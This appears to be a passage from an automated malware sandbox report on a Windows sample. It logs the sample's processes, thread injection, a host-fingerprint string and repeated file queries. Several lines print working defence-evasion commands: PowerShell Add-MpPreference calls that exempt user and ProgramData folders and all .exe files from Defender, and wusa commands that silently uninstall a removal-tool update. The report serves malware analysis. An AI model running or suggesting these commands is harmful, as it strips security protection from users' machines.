Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Modifies the context of a thread in another process (thread injection)
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeThread register set: target process: 7544Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3Jump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: conhost.exe, 0000001B.00000002.3547859630.000002B353C05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager | C:\\Windows\\explorer.exe"}plorer.exer.exes
Source: conhost.exe, 0000001B.00000002.3547859630.000002B353C05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager | C:\\Windows\\explorer.exe"}
Source: conhost.exe, 0000001B.00000002.3547859630.000002B353C05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager | C:\Windows\explorer.exe
Source: conhost.exe, 0000001B.00000002.3547859630.000002B353C05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 3.4.3","vram":"0","windowTitle":"Program Manager | C:\\Windows\\explorerl
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
